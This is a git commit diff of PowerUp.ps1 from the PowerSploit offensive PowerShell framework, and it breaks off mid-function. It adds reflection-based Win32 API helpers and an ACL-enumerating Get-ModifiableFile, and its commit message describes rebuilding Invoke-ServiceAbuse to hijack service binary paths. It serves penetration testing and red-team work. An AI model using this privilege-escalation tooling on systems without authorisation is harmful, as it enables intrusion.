aboutsummaryrefslogtreecommitdiff
path: root/Privesc
diff options
context:
space:
mode:
authorHarmj0y <will@harmj0y.net>2016-06-01 19:03:18 -0400
committerHarmj0y <will@harmj0y.net>2016-06-01 19:03:18 -0400
commitecc96be81a881dca5fa598c776f1ca3574191164 (patch)
tree8200ecc5e066567affa0a7b3333c770407e0a6a2 /Privesc
parent5660218b38eaacb95679dde712ecb6857143cfa3 (diff)
downloadPowerSploit-ecc96be81a881dca5fa598c776f1ca3574191164.tar.gz
PowerSploit-ecc96be81a881dca5fa598c776f1ca3574191164.zip
-Removed Invoke-ServiceStart, Invoke-ServiceStop, Invoke-ServiceEnable, Invoke-ServiceDisable
-Renamed Get-ServiceFilePermission to Get-ModifiableServiceFile -Renamed Get-ServicePermission Get-ModifiableService -Integrated PSReflect codebase from @mattifestation -Modified Get-ModifiableFile to enumerate the ACLs for passed file paths, returning the path/permission set/identityreference for each modifable file (instead of opening file for modification) -Added Add-ServiceDacl from @mattifestation to add service Dacls to Get-Service objects -Added Set-ServiceBinPath replace "sc.exe config SERVICE binPath= X" - now modifies using the ChangeServiceConfig Win32 API call -Revamped Test-ServiceDaclPermission to take advantage of Add-ServiceDacl. Service permissions are now matched up against the current user's group memberships and specified permission sets to check for. -Functions that checked for service restarting now use Test-ServiceDaclPermission -Get-ModifiableService now uses Test-ServiceDaclPermission -Invoke-ServiceAbuse completely rebuilt to use native PowerShell functions and Set-ServiceBinPath to reconfiguring service binary paths for abuse -Parameter sets rewritten for several functions to accept -Credential objects were applicable and -Service objects from Get-Service on the pipeline TODO: Tune up Write-ServiceBinary, Install-ServiceBinary, Restore-ServiceBinary, Find-DLLHijack, Find-PathHijack, Write-HijackDll, and all the registry checks
Diffstat (limited to 'Privesc')
-rw-r--r--Privesc/PowerUp.ps11844
1 files changed, 1419 insertions, 425 deletions
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index afc06d6..c5f881d 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -8,415 +8,1332 @@
Optional Dependencies: None
#>
+#Requires -Version 2
+
########################################################
#
-# Helpers
+# PSReflect code for Windows API access
+# Author: @mattifestation
+# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################
-function Get-ModifiableFile {
+function New-InMemoryModule
+{
<#
- .SYNOPSIS
+.SYNOPSIS
- Helper to return any modifiable file that's a part of a passed string.
-
- .EXAMPLE
+Creates an in-memory assembly and module
- PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+When defining custom enums, structs, and unmanaged functions, it is
+necessary to associate to an assembly module. This helper function
+creates an in-memory module that can be passed to the 'enum',
+'struct', and Add-Win32Type functions.
+
+.PARAMETER ModuleName
- Return the paths "C:\Temp\blah.bat" or "C:\Temp\config.ini" if they are
- modifable by the current user context.
+Specifies the desired name for the in-memory assembly and module. If
+ModuleName is not provided, it will default to a GUID.
+
+.EXAMPLE
+
+$Module = New-InMemoryModule -ModuleName Win32
#>
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ Param
+ (
+ [Parameter(Position = 0)]
+ [ValidateNotNullOrEmpty()]
[String]
- $Path
+ $ModuleName = [Guid]::NewGuid().ToString()
)
- begin {
- # false positives
- $Excludes = @("MsMpEng.exe", "NisSrv.exe")
+ $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
+ $LoadedAssemblies = $AppDomain.GetAssemblies()
- $OrigError = $ErrorActionPreference
- $ErrorActionPreference = "SilentlyContinue"
+ foreach ($Assembly in $LoadedAssemblies) {
+ if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
+ return $Assembly
+ }
}
- process {
- $CandidateFiles = @()
+ $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
+ $Domain = $AppDomain
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
- # possible separator character combinations
- $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
-
- ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
- $CandidateFiles += $Path.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
- Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
+ return $ModuleBuilder
+}
+
+
+# A helper function used to reduce typing while defining function
+# prototypes for Add-Win32Type.
+function func
+{
+ Param
+ (
+ [Parameter(Position = 0, Mandatory = $True)]
+ [String]
+ $DllName,
+
+ [Parameter(Position = 1, Mandatory = $True)]
+ [string]
+ $FunctionName,
+
+ [Parameter(Position = 2, Mandatory = $True)]
+ [Type]
+ $ReturnType,
+
+ [Parameter(Position = 3)]
+ [Type[]]
+ $ParameterTypes,
+
+ [Parameter(Position = 4)]
+ [Runtime.InteropServices.CallingConvention]
+ $NativeCallingConvention,
+
+ [Parameter(Position = 5)]
+ [Runtime.InteropServices.CharSet]
+ $Charset,
+
+ [String]
+ $EntryPoint,
+
+ [Switch]
+ $SetLastError
+ )
+
+ $Properties = @{
+ DllName = $DllName
+ FunctionName = $FunctionName
+ ReturnType = $ReturnType
+ }
+
+ if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
+ if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
+ if ($Charset) { $Properties['Charset'] = $Charset }
+ if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
+ if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
+
+ New-Object PSObject -Property $Properties
+}
+
+
+function Add-Win32Type
+{
+<#
+.SYNOPSIS
+
+Creates a .NET type for an unmanaged Win32 function.
+
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: func
+
+.DESCRIPTION
+
+Add-Win32Type enables you to easily interact with unmanaged (i.e.
+Win32 unmanaged) functions in PowerShell. After providing
+Add-Win32Type with a function signature, a .NET type is created
+using reflection (i.e. csc.exe is never called like with Add-Type).
+
+The 'func' helper function can be used to reduce typing when defining
+multiple function definitions.
+
+.PARAMETER DllName
+
+The name of the DLL.
+
+.PARAMETER FunctionName
+
+The name of the target function.
+
+.PARAMETER EntryPoint
+
+The DLL export function name. This argument should be specified if the
+specified function name is different than the name of the exported
+function.
+
+.PARAMETER ReturnType
+
+The return type of the function.
+
+.PARAMETER ParameterTypes
+
+The function parameters.
+
+.PARAMETER NativeCallingConvention
+
+Specifies the native calling convention of the function. Defaults to
+stdcall.
+
+.PARAMETER Charset
+
+If you need to explicitly call an 'A' or 'W' Win32 function, you can
+specify the character set.
+
+.PARAMETER SetLastError
+
+Indicates whether the callee calls the SetLastError Win32 API
+function before returning from the attributed method.
+
+.PARAMETER Module
+
+The in-memory module that will host the functions. Use
+New-InMemoryModule to define an in-memory module.
+
+.PARAMETER Namespace
+
+An optional namespace to prepend to the type. Add-Win32Type defaults
+to a namespace consisting only of the name of the DLL.
+
+.EXAMPLE
+
+$Mod = New-InMemoryModule -ModuleName Win32
+
+$FunctionDefinitions = @(
+ (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
+ (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
+ (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
+)
+
+$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
+$Kernel32 = $Types['kernel32']
+$Ntdll = $Types['ntdll']
+$Ntdll::RtlGetCurrentPeb()
+$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
+$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
+
+.NOTES
+
+Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
+
+When defining multiple function prototypes, it is ideal to provide
+Add-Win32Type with an array of function signatures. That way, they
+are all incorporated into the same in-memory module.
+#>
+
+ [OutputType([Hashtable])]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $DllName,
+
+ [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $FunctionName,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $EntryPoint,
+
+ [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
+ [Type]
+ $ReturnType,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Type[]]
+ $ParameterTypes,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Runtime.InteropServices.CallingConvention]
+ $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Runtime.InteropServices.CharSet]
+ $Charset = [Runtime.InteropServices.CharSet]::Auto,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Switch]
+ $SetLastError,
+
+ [Parameter(Mandatory = $True)]
+ [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
+ $Module,
+
+ [ValidateNotNull()]
+ [String]
+ $Namespace = ''
+ )
+
+ BEGIN
+ {
+ $TypeHash = @{}
+ }
+
+ PROCESS
+ {
+ if ($Module -is [Reflection.Assembly])
+ {
+ if ($Namespace)
+ {
+ $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
+ }
+ else
+ {
+ $TypeHash[$DllName] = $Module.GetType($DllName)
}
}
-
- # see if we need to skip any excludes
- $CandidateFiles | Sort-Object -Unique | Where-Object {$_} | Where-Object {
- $Skip = $False
- ForEach($Exclude in $Excludes) {
- if($_ -match $Exclude) { $Skip = $True }
+ else
+ {
+ # Define one type for each DLL
+ if (!$TypeHash.ContainsKey($DllName))
+ {
+ if ($Namespace)
+ {
+ $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
+ }
+ else
+ {
+ $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
+ }
}
- if(!$Skip) {$True}
- } | ForEach-Object {
- try {
- # try to open the file for writing, immediately closing it
- $File = Get-Item -Path $_ -Force
- $Stream = $File.OpenWrite()
- $Null = $Stream.Close()
- $_
+
+ $Method = $TypeHash[$DllName].DefineMethod(
+ $FunctionName,
+ 'Public,Static,PinvokeImpl',
+ $ReturnType,
+ $ParameterTypes)
+
+ # Make each ByRef parameter an Out parameter
+ $i = 1
+ foreach($Parameter in $ParameterTypes)
+ {
+ if ($Parameter.IsByRef)
+ {
+ [void] $Method.DefineParameter($i, 'Out', $null)
+ }
+
+ $i++
}
- catch {}
+
+ $DllImport = [Runtime.InteropServices.DllImportAttribute]
+ $SetLastErrorField = $DllImport.GetField('SetLastError')
+ $CallingConventionField = $DllImport.GetField('CallingConvention')
+ $CharsetField = $DllImport.GetField('CharSet')
+ $EntryPointField = $DllImport.GetField('EntryPoint')
+ if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
+
+ if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
+
+ # Equivalent to C# version of [DllImport(DllName)]
+ $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
+ $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
+ $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
+ [Reflection.FieldInfo[]] @($SetLastErrorField,
+ $CallingConventionField,
+ $CharsetField,
+ $EntryPointField),
+ [Object[]] @($SLEValue,
+ ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
+ ([Runtime.InteropServices.CharSet] $Charset),
+ $ExportedFuncName))
+
+ $Method.SetCustomAttribute($DllImportAttribute)
}
}
- end {
- $ErrorActionPreference = $OrigError
+ END
+ {
+ if ($Module -is [Reflection.Assembly])
+ {
+ return $TypeHash
+ }
+
+ $ReturnTypes = @{}
+
+ foreach ($Key in $TypeHash.Keys)
+ {
+ $Type = $TypeHash[$Key].CreateType()
+
+ $ReturnTypes[$Key] = $Type
+ }
+
+ return $ReturnTypes
}
}
-function Test-ServiceDaclPermission {
+
+function psenum
+{
<#
- .SYNOPSIS
+.SYNOPSIS
- This function checks if the current user has specific DACL permissions
- for a specific service with the aid of 'sc.exe sdshow'.
+Creates an in-memory enumeration for use in your PowerShell session.
- .PARAMETER ServiceName
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
- The service name to verify the permissions against. Required.
+The 'psenum' function facilitates the creation of enums entirely in
+memory using as close to a "C style" as PowerShell will allow.
- .PARAMETER Dacl
+.PARAMETER Module
- The DACL permissions. Required.
-
- .EXAMPLE
+The in-memory module that will host the enum. Use
+New-InMemoryModule to define an in-memory module.
- PS C:\> Test-ServiceDaclPermission -ServiceName VulnSVC -Dacl WPRPDC
+.PARAMETER FullName
- Return $True if the current user has Stop (WP), Start (RP),
- and ChangeConf (DC) service permissions for 'VulnSVC' otherwise return $False.
+The fully-qualified name of the enum.
- .LINK
+.PARAMETER Type
- https://support.microsoft.com/en-us/kb/914392
- https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
+The type of each enum element.
+
+.PARAMETER EnumElements
+
+A hashtable of enum elements.
+
+.PARAMETER Bitfield
+
+Specifies that the enum should be treated as a bitfield.
+
+.EXAMPLE
+
+$Mod = New-InMemoryModule -ModuleName Win32
+
+$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
+ UNKNOWN = 0
+ NATIVE = 1 # Image doesn't require a subsystem.
+ WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
+ WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
+ OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
+ POSIX_CUI = 7 # Image runs in the Posix character subsystem.
+ NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
+ WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
+ EFI_APPLICATION = 10
+ EFI_BOOT_SERVICE_DRIVER = 11
+ EFI_RUNTIME_DRIVER = 12
+ EFI_ROM = 13
+ XBOX = 14
+ WINDOWS_BOOT_APPLICATION = 16
+}
+
+.NOTES
+
+PowerShell purists may disagree with the naming of this function but
+again, this was developed in such a way so as to emulate a "C style"
+definition as closely as possible. Sorry, I'm not going to name it
+New-Enum. :P
#>
- [CmdletBinding()]
- Param(
- [Parameter(Mandatory = $True)]
- [string]
- $ServiceName,
+ [OutputType([Type])]
+ Param
+ (
+ [Parameter(Position = 0, Mandatory = $True)]
+ [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
+ $Module,
- [Parameter(Mandatory = $True)]
- [string]
- $Dacl
+ [Parameter(Position = 1, Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $FullName,
+
+ [Parameter(Position = 2, Mandatory = $True)]
+ [Type]
+ $Type,
+
+ [Parameter(Position = 3, Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [Hashtable]
+ $EnumElements,
+
+ [Switch]
+ $Bitfield
)
- # check if sc.exe exists
- if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){
- throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found"
- }
-
- $ServiceAccessFlags = @{
- CC = 1
- DC = 2
- LC = 4
- SW = 8
- RP = 16
- WP = 32
- DT = 64
- LO = 128
- CR = 256
- SD = 65536
- RC = 131072
- WD = 262144
- WO = 524288
- GA = 268435456
- GX = 536870912
- GW = 1073741824
- GR = 2147483648
- }
-
- # query WMI for the service
- $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
-
- # make sure we got a result back
- if (-not ($TargetService)){
- throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine"
+ if ($Module -is [Reflection.Assembly])
+ {
+ return ($Module.GetType($FullName))
}
- # retrieve DACL from sc.exe (only possible if 'RC' DACL is set)
- $Result = sc.exe sdshow $TargetService.Name | where {$_}
+ $EnumType = $Type -as [Type]
+
+ $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
- if ($Result -like "*OpenService FAILED*"){
- throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'"
+ if ($Bitfield)
+ {
+ $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
+ $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
+ $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
- $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
+ foreach ($Key in $EnumElements.Keys)
+ {
+ # Apply the specified enum type to each element
+ $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
+ }
- # populate a list of group SIDs that the current user is a member of
- $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
+ $EnumBuilder.CreateType()
+}
- # add to the list the SID of the current user
- $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
- ForEach ($Sid in $Sids){
- ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
+# A helper function used to reduce typing while defining struct
+# fields.
+function field
+{
+ Param
+ (
+ [Parameter(Position = 0, Mandatory = $True)]
+ [UInt16]
+ $Position,
- # check if the group/user SID is included in the ACE
- if ($Sid -eq $Ace.SecurityIdentifier){
-
- # convert the AccessMask to a service DACL string
- $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
- if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
- $_
- }
- }) -join ""
-
- # convert the input DACL to an array
- $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
-
- # counter to check how many DACL permissions were found
- $MatchedPermissions = 0
+ [Parameter(Position = 1, Mandatory = $True)]
+ [Type]
+ $Type,
+
+ [Parameter(Position = 2)]
+ [UInt16]
+ $Offset,
+
+ [Object[]]
+ $MarshalAs
+ )
+
+ @{
+ Position = $Position
+ Type = $Type -as [Type]
+ Offset = $Offset
+ MarshalAs = $MarshalAs
+ }
+}
+
+
+function struct
+{
+<#
+.SYNOPSIS
+
+Creates an in-memory struct for use in your PowerShell session.
+
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: field
+
+.DESCRIPTION
+
+The 'struct' function facilitates the creation of structs entirely in
+memory using as close to a "C style" as PowerShell will allow. Struct
+fields are specified using a hashtable where each field of the struct
+is comprosed of the order in which it should be defined, its .NET
+type, and optionally, its offset and special marshaling attributes.
+
+One of the features of 'struct' is that after your struct is defined,
+it will come with a built-in GetSize method as well as an explicit
+converter so that you can easily cast an IntPtr to the struct without
+relying upon calling SizeOf and/or PtrToStructure in the Marshal
+class.
+
+.PARAMETER Module
+
+The in-memory module that will host the struct. Use
+New-InMemoryModule to define an in-memory module.
+
+.PARAMETER FullName
+
+The fully-qualified name of the struct.
+
+.PARAMETER StructFields
+
+A hashtable of fields. Use the 'field' helper function to ease
+defining each field.
+
+.PARAMETER PackingSize
+
+Specifies the memory alignment of fields.
+
+.PARAMETER ExplicitLayout
+
+Indicates that an explicit offset for each field will be specified.
+
+.EXAMPLE
+
+$Mod = New-InMemoryModule -ModuleName Win32
+
+$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
+ DOS_SIGNATURE = 0x5A4D
+ OS2_SIGNATURE = 0x454E
+ OS2_SIGNATURE_LE = 0x454C
+ VXD_SIGNATURE = 0x454C
+}
+
+$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
+ e_magic = field 0 $ImageDosSignature
+ e_cblp = field 1 UInt16
+ e_cp = field 2 UInt16
+ e_crlc = field 3 UInt16
+ e_cparhdr = field 4 UInt16
+ e_minalloc = field 5 UInt16
+ e_maxalloc = field 6 UInt16
+ e_ss = field 7 UInt16
+ e_sp = field 8 UInt16
+ e_csum = field 9 UInt16
+ e_ip = field 10 UInt16
+ e_cs = field 11 UInt16
+ e_lfarlc = field 12 UInt16
+ e_ovno = field 13 UInt16
+ e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
+ e_oemid = field 15 UInt16
+ e_oeminfo = field 16 UInt16
+ e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
+ e_lfanew = field 18 Int32
+}
+
+# Example of using an explicit layout in order to create a union.
+$TestUnion = struct $Mod TestUnion @{
+ field1 = field 0 UInt32 0
+ field2 = field 1 IntPtr 0
+} -ExplicitLayout
+
+.NOTES
+
+PowerShell purists may disagree with the naming of this function but
+again, this was developed in such a way so as to emulate a "C style"
+definition as closely as possible. Sorry, I'm not going to name it
+New-Struct. :P
+#>
+
+ [OutputType([Type])]
+ Param
+ (
+ [Parameter(Position = 1, Mandatory = $True)]
+ [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
+ $Module,
+
+ [Parameter(Position = 2, Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $FullName,
+
+ [Parameter(Position = 3, Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [Hashtable]
+ $StructFields,
+
+ [Reflection.Emit.PackingSize]
+ $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
+
+ [Switch]
+ $ExplicitLayout
+ )
+
+ if ($Module -is [Reflection.Assembly])
+ {
+ return ($Module.GetType($FullName))
+ }
+
+ [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
+ Class,
+ Public,
+ Sealed,
+ BeforeFieldInit'
+
+ if ($ExplicitLayout)
+ {
+ $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
+ }
+ else
+ {
+ $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
+ }
+
+ $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
+ $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
+ $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
+
+ $Fields = New-Object Hashtable[]($StructFields.Count)
+
+ # Sort each field according to the orders specified
+ # Unfortunately, PSv2 doesn't have the luxury of the
+ # hashtable [Ordered] accelerator.
+ foreach ($Field in $StructFields.Keys)
+ {
+ $Index = $StructFields[$Field]['Position']
+ $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
+ }
+
+ foreach ($Field in $Fields)
+ {
+ $FieldName = $Field['FieldName']
+ $FieldProp = $Field['Properties']
+
+ $Offset = $FieldProp['Offset']
+ $Type = $FieldProp['Type']
+ $MarshalAs = $FieldProp['MarshalAs']
+
+ $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
+
+ if ($MarshalAs)
+ {
+ $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
+ if ($MarshalAs[1])
+ {
+ $Size = $MarshalAs[1]
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
+ $UnmanagedType, $SizeConst, @($Size))
+ }
+ else
+ {
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
+ }
- # check if each of the permissions exists
- ForEach ($DaclPermission in $DaclArray){
- if ($DaclString.Contains($DaclPermission.ToUpper())){
- $MatchedPermissions += 1
- }
- else{
- break
- }
- }
- # found all permissions - success
- if ($MatchedPermissions -eq $DaclArray.Count){
- return $True
- }
- }
+ $NewField.SetCustomAttribute($AttribBuilder)
}
+
+ if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
- return $False
+
+ # Make the struct aware of its own size.
+ # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
+ $SizeMethod = $StructBuilder.DefineMethod('GetSize',
+ 'Public, Static',
+ [Int],
+ [Type[]] @())
+ $ILGenerator = $SizeMethod.GetILGenerator()
+ # Thanks for the help, Jason Shirk!
+ $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
+ $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
+ [Type].GetMethod('GetTypeFromHandle'))
+ $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
+ [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
+ $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
+
+ # Allow for explicit casting from an IntPtr
+ # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
+ $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
+ 'PrivateScope, Public, Static, HideBySig, SpecialName',
+ $StructBuilder,
+ [Type[]] @([IntPtr]))
+ $ILGenerator2 = $ImplicitConverter.GetILGenerator()
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
+ [Type].GetMethod('GetTypeFromHandle'))
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
+ [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
+ $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
+
+ $StructBuilder.CreateType()
}
-function Invoke-ServiceStart {
+########################################################
+#
+# PowerUp Helpers
+#
+########################################################
+
+function Get-ModifiableFile {
<#
.SYNOPSIS
- Starts a specified service, first enabling the service if it was marked as disabled.
+ Parses a passed string containing multiple possible file/folder paths and returns
+ the file paths where the current user has modification rights.
- .PARAMETER ServiceName
+ .DESCRIPTION
+
+ Takes a complex path specification of an initial file/folder path with possible
+ configuration files, 'tokenizes' the string in a number of possible ways, and
+ enumerates the ACLs for each path that currently exists on the system. Any path that
+ the current user has modification rights on is returned in a custom object that contains
+ the modifiable path, associated permission set, and the IdentityReference with the specified
+ rights. The SID of the current user and any group he/she are a part of are used as the
+ comparison set against the parsed path DACLs.
- The service name to start. Required.
+ .PARAMETER Path
+
+ The string path to parse for modifiable files. Required
.EXAMPLE
- PS C:\> Invoke-ServiceStart -ServiceName VulnSVC
+ PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile
- Start the 'VulnSVC' service.
+ Path Permissions IdentityReference
+ ---- ----------- -----------------
+ C:\Temp\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
+ C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
#>
[CmdletBinding()]
Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
- [String]
- $ServiceName
+ [Parameter(ValueFromPipeline = $True, Mandatory = $True)]
+ [String[]]
+ $Path
)
- process {
- # query WMI for the service
- $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
-
- # make sure we got a result back
- if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
+ BEGIN {
+ # # false positives ?
+ # $Excludes = @("MsMpEng.exe", "NisSrv.exe")
+
+ # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
+ $AccessMask = @{
+ [uint32]'0x80000000' = 'GenericRead'
+ [uint32]'0x40000000' = 'GenericWrite'
+ [uint32]'0x20000000' = 'GenericExecute'
+ [uint32]'0x10000000' = 'GenericAll'
+ [uint32]'0x02000000' = 'MaximumAllowed'
+ [uint32]'0x01000000' = 'AccessSystemSecurity'
+ [uint32]'0x00100000' = 'Synchronize'
+ [uint32]'0x00080000' = 'WriteOwner'
+ [uint32]'0x00040000' = 'WriteDAC'
+ [uint32]'0x00020000' = 'ReadControl'
+ [uint32]'0x00010000' = 'Delete'
+ [uint32]'0x00000100' = 'WriteAttributes'
+ [uint32]'0x00000080' = 'ReadAttributes'
+ [uint32]'0x00000040' = 'DeleteChild'
+ [uint32]'0x00000020' = 'Execute/Traverse'
+ [uint32]'0x00000010' = 'WriteExtendedAttributes'
+ [uint32]'0x00000008' = 'ReadExtendedAttributes'
+ [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
+ [uint32]'0x00000002' = 'WriteData/AddFile'
+ [uint32]'0x00000001' = 'ReadData/ListDirectory'
}
+
+ $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
+ $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
+ $CurrentUserSids += $UserIdentity.User.Value
+
+ $TranslatedIdentityReferences = @{}
+ }
+
+ PROCESS {
+
+ foreach ($TargetPath in $Path) {
+
+ $CandidatePaths = @()
+
+ # possible separator character combinations
+ $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
- try {
- # enable the service if it was marked as disabled
- if ($TargetService.StartMode -eq "Disabled"){
